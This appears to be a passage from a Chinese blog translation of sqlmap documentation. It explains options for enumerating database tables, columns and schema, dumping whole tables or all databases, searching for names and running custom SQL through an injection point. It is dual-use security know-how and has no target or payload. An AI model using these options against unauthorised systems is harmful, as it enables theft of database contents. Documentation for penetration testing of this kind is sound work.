如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

–exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:–columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举数据库系统的架构

参数:–schema,–exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

获取表中数据个数

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

列举一个Microsoft SQL Server例子:

获取整个表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取整个表的所有内容。

使用-D,-T参数指适定想要获取哪个库的哪个表,不用-D参数时,默认使用当前库。

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。

也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first 3 –last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-C,-T,-D

–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

补充内容

© 版权声明
THE END
喜欢就支持一下吧
点赞1 分享
评论 共276条

请登录后发表评论